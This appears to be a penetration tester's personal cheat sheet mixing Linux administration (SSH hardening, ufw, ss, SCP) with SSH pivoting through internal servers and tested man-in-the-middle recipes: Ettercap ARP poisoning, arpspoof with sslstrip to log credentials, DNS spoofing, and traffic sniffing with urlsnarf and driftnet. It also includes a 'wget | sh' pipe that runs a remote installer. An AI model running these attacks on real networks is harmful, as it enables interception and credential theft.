# disable password auth for ssh (cert auth only): /etc/ssh/sshd\_config

uncomment #PasswordAuthentication Yes

change ‘yes’ to ‘no’ and save, then: sudo service sshd reload

### SSH tunneling

Note: **Need ‘GatewayPorts yes’ in sshd config file to allow binding to anything other than local loopback.**

**Forward Tunnel:**

Local listen only: ssh <user>@<server> -L<ListenPort>:<DestIp>:<DestPort>

Global Listen: (add –g): ssh <user>@<server> -gL<ListenPort>:<DestIp>:<DestPort>

**Reverse Tunnel:** DstIP is usually 127.0.0.1. Listener/service should be listening on DstPort

**ssh <user>@<IP> -R<RemoteListenPort>:<DstIP>:<DstPort>**

Example: netcat listening on local 5555. Create a remote listener on 10.10.10.10:4444 and forward connections back to the local system on 5555:

**ssh** [**root@10.10.10.10**](mailto:root@10.10.10.10) **-R 4444:127.0.0.1:5555**

**Example: two Unix servers, each with external and internal interfaces. We want a listener and a forwarder on the internal ‘Mail’ server interface:**

**Me 10.1.1.1 <-> 10.10.10.10 Eth0-DMZ-Eth1 192.168.10.10 <-> 192.168.10.20 Eth0-Mail-Eth1 172.16.30.30**

Two terminal windows:

**ssh DMZroot@10.10.10.10 –L1022:192.168.10.20:22**

**ssh MailRoot@127.0.0.1 –p 1022 –L2022:<InternalIP>:<PortWeWant>**

**Either:**

**[from 2nd session bring up ssh prompt]: ~C**

**[remote listen on 443, forward to localhost on 5443]: -R443:127.0.0.1:5443**

**Or: [in a 3rd terminal window]**

**ssh MailRoot@127.0.0.1 –p 1022 –R443:127.0.0.1:5443**

Now anything sent to ‘Me’ local port 2022 will go to <InternalIP> on <PortWeWant> and anything sent to Mail ON EITHER INTERFACE on port 443 will tunnel back to our host on 5443

## SCP

Copy a file scp user@sourceHost:file user@destinationHost:dstfile

Copy a file using a key scp –i <Key> user@sourceHost:file user@destinationHost:dstfile

## Ubuntu

Netstat: ss –nlp

Processes: ps faux

Services service ssh status|stop|start

change ip: /etc/network/interfaces

**iface eth0 inet static**

**address 192.168.1.1**

**netmask 255.255.255.0**

**gateway 192.168.1.254**

**sudo /etc/init.d/networking restart**

for nameservers: /etc/resolvconf/resolv.confd/base

add users: useradd –m <user>

tcp & udp CONN: ss –tun

CONN and LISTEN: ss –tuna (this is redundant, can use ss -na)

ss switches:

List processes: -p numeric only: -n

Listening ports: -l tcp: -t

All: -a udp: -u

App armor:

Status: aa-status

Disable: /etc/init.d/apparmor stop

Clear/unload: /etc/init.d/apparmor teardown

### Ubuntu Firewall (ufw)

Ufw makes a mess of IPTABLES, but its built into Ubuntu. Meant for regular users.

UFW management: sudo ufw <enable|status|disable|reset>

Logging sudo ufw logging on

Allow ssh (3 ways): sudo ufw allow ssh

(TCP & UDP) sudo ufw allow 22

sudo ufw allow 22/tcp

Reject traffic sudo ufw reject in http

Delete a rule sudo ufw delete reject in http

IP & Port rule sudo ufp deny proto tcp from 10.10.10.10. to any port 80

Application info sudo ufw app list

sudo ufw app info <whatever>

Allow application sudo ufw allow <AppName>

Install the GUI sudo apt-get install gufw

## Ettercap ARP poison

**Using the GUI.**

Tested March 4. Works, but browsers sketchy when using HTTPS

vi /etc/ettercap/etter.conf

Privs, 0 for both entries

If using IPtables of IPchains, uncomment the lines for it

Sniff > Unified sniffing. . . > Network interface (Whatever)

**Hosts > Scan for hosts (may need to do (2x)**

**Hosts > Host list**

Find victim & default GW (or whatever you want to MITM

Click 1st system, add to target 1

Click 2nd system, add to target 2

MITM > Arp Poisoning. Check “Sniff Remote Connections” Click on ok.

Start > Start Sniffing

Go to victim machine. . .do network stuff. . .login, etc

\*sites with certificates will give a warning – ettercap replaces with it’s own.

Look at bottom of ettercap page. . .you may see activity, but you may need to run something like urlsnarf/wireshark to see what’s going on

### arpspoof with Kali using the command line and stripping SSL (sslstrip)

Tested March 4. Works against VM-VM, a bit buggy (sslstrip threw an error after a while)

Need two terminal windows:

Enable forwarding in OS: **echo 1 >/proc/sys/net/ipv4/ip\_forward**

**iptables –t nat –A PREROUTING –p tcp –-destination-port 80 –j REDIRECT –-to-port 8080**

**arpspoof –i eth0 -t <host1> <gateway>**

**arpspoof –i eth0 –t <gateway> <host1>**

**sslstrip –k –l 8080 –w /root/sslstrip.log**

**watch the log: tail –F /root/sslstrip.log**

### Ettercap DNS hijack (uses ARP spoofing to hijack DNS lookup)

Not tested

Vi /etc/ettercap/etter.conf

Privs, 0 for both entries

If using IPtables of IPchains, uncomment the lines for it

The DNS part:

vi /etc/ettercap/etter.dns

Add dns entries you want Add “A” and reverse “PTR” records

ettercap –T –q –I eth0 –M arp:remote –P dns\_spoof /<victim1>/ /<victim2>/

### Ettercap, other tools that can be used

driftnet grab images

urlsnarf get URLs urlsnarf -i eth0 | cut -d ' ' -f 7

## OpenVAS

Setup for RHEL, CentOS, Fedora

**wget -q -O - http://www.atomicorp.com/installers/atomic |sh**

**yum upgrade**

**yum install openvas**

**openvas-setup**

Browse to <https://127.0.0.1:9392>

Setup for Kali

From: <https://www.kali.org/penetration-testing/openvas-vulnerability-scanning/>

**apt-get update**

**apt-get dist-upgrade**

**apt-get install openvas**

**openvas-setup**

**netstat –antp**

Look for openvasmd, openvassd, gasd

If not there run: **openvas-start**

Issues? Run: **openvas-check-setup**

Browse to <https://127.0.0.1:9392>

(Admin password created during setup)